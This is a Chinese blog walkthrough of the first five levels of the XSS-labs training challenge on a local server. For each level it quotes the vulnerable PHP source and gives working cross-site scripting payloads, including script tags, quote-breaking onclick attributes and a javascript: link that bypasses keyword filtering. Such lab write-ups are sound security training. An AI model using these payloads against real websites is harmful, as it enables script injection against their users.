zoukankan      html  css  js  c++  java
  • XSS挑战赛(1)

    1.png

    以前囫囵吞枣做过一遍,现在从头再来

    2.png

    第一关网址为:http://127.0.0.1/xss-labs-master/level1.php?name=test

    而页面上显示了用户test,name可控,查看其源代码为

    echo "<h2 align=center>欢迎用户".$str."</h2>";

    构造

    $str=<script>alert(1)</script>

    页面源代码就变成了:

    <h2 align=center>欢迎用户<script>alert(1)</script></h2>

    故payload为:

    <script>alert(1)</script>

    这里h2标签里面能够执行js代码,所以我们不进行闭合,有一些HTML标签中不执行JS代码,例如:

    <title>, <textarea >,<xmp>

    等标签就需要进行相应的闭合,再插入JS代码进行执行。

    另外除了alert外,进行弹窗还可以使用confirm或者prompt函数。

    输入payload通过第一关

    3.png

    简单检测一下过滤情况

    <>script

    4.png

    可以看到输入的payload在两个位置输出,再查看源代码,检查过滤情况

    5.png

    可以看到第一个框中的 < > 被转义了,而第二个框中没有被转义,所以我们从第二个框进行XSS的突破

    根据源码构造payload

    "><script>alert(1)</script>

    通过第二关

     

    6.png

    还是使用简单payload进行过滤检测

    <>script

    7.png

    可以看到这两个框内都进行了XSS特殊字符的转义

    查看源代码:

    <?php 
        ini_set("display_errors", 0);
        $str = $_GET["keyword"];
        echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
        <form action=level3.php method=GET>
        <input name=keyword  value='".htmlspecialchars($str)."'>	
        <input type=submit name=submit value=搜索 />
        </form>
        </center>";
    ?>

    可以看到显示的地方使用 htmlspecialchars 函数进行了特殊字符的转义

    <input name=keyword  value='".htmlspecialchars($str)."'>	

    而第三关与第二关除了 input标签里面进行了转义之外,value值包裹符号从双引号变成了单引号,也就是本关的突破点。

    关于 htmlspecialchars 函数,有

    8.png

    可以看出来,该函数默认仅编码双引号,而value值包裹符号为单引号,我们可以进行相应闭合,构造payload为

    ' onclick=alert(1) '

    进入第四关

    9.png

    输入检测过滤

    <>"'script/

    查看源代码转义情况

    10.png

    可以看到第一红框内部进行了转义,而第二红框内部没有转义。

    根据input标签显示情况来使用双引号进行闭合。

    " onclick=alert(1) "

    进入第五关

    11.png

    简单检测过滤

    <>script'"/

    12.png

    可以看到同样 input 里面没有进行转义,尝试使用上一关的payload

    " onclick=alert(1) "

    13.png

    可见onclick 变成了o_nclick ,中间使用下划线将其分离

    查看源代码过滤情况,关键部分为:

    $str = strtolower($_GET["keyword"]);
    $str2=str_replace("<script","<scr_ipt",$str);
    $str3=str_replace("on","o_n",$str2);

    对关键字进行了替换,同时使用strtolower函数进行了字符串小写转换,禁止了大小写绕过

    使用href超链接指向javascript代码,执行alert弹窗函数

    payload为:

    "><a href="javascript:alert(1)">hi</a>

    14.png

    点击弹窗通过

     

  • 相关阅读:
    atitit.基于http json api 接口设计 最佳实践 总结o7
    atitit.表单验证 的dsl 本质跟 easyui ligerui比较
    Atitit. 提升软件开发效率and 开发质量---java 实现dsl 4gl 的本质and 精髓 O725
    atitit.设计模式(2) -----查表模式/ command 总结
    atitit.spring3 mvc url配置最佳实践
    atitit.java给属性赋值方法总结and BeanUtils 1.6.1 .copyProperty的bug
    atitit.RESTful服务的概览and框架选型
    atitit.查看预编译sql问号 本质and原理and查看原生sql语句
    atitit.atitit.hb many2one relate hibernate 多对一关联配置..
    atitit.hbnt orm db 新新增更新最佳实践o7
  • 原文地址:https://www.cnblogs.com/Cl0ud/p/13449478.html
Copyright © 2011-2022 走看看